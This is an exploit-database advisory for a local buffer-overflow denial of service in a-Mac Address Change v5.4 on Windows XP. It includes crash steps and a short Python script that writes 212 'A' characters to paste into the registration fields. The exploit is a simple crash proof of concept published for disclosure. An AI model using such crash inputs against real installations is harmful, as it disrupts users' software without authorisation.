a-Mac Address Change v5.4 - Denial of Service (PoC)

vendor:

a-Mac Address Change

by:

Rafael Pedrero

7.8

CVSS

HIGH

Denial of Service (DoS) Local Buffer Overflow

119

CWE

Product Name: a-Mac Address Change

Affected Version From: 5.4

Affected Version To: 5.4

Patch Exists: NO

Related CWE: N/A

CPE: a:amac_paqtool:a-mac_address_change

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows XP SP3

2019

a-Mac Address Change v5.4 – Denial of Service (PoC)

When a specially crafted string of 212 'A' characters is copied to the clipboard and pasted into the 'Your Name', 'Your Company', and 'Register Code' fields of the 'Amac Register Form' page, a denial of service condition occurs.

Mitigation:

Ensure that input validation is performed on all user-supplied data.

Source

Exploit-DB raw data:

# Exploit Title: a-Mac Address Change v5.4 - Denial of Service (PoC)
# Discovery by: Rafael Pedrero
# Discovery Date: 2019-01-30
# Vendor Homepage: http://amac.paqtool.com/
# Software Link : http://amac.paqtool.com/
# Tested Version: 5.4
# Tested on: Windows XP SP3
# Vulnerability Type: Denial of Service (DoS) Local Buffer Overflow

# Steps to Produce the Crash:
# 1.- Run amac.exe
# 2.- copy content amac_Crash.txt or 212 "A" to clipboard (result from this python script)
# 3.- Go to Register - Amac Register Form and paste the result in all fields: "Your Name", "Your Company", "Register Code"
# 4.- Click in Register button and you will see a crash.

#!/usr/bin/env python

crash = "\x41" * 212
f = open ("amac_Crash.txt", "w")
f.write(crash)
f.close()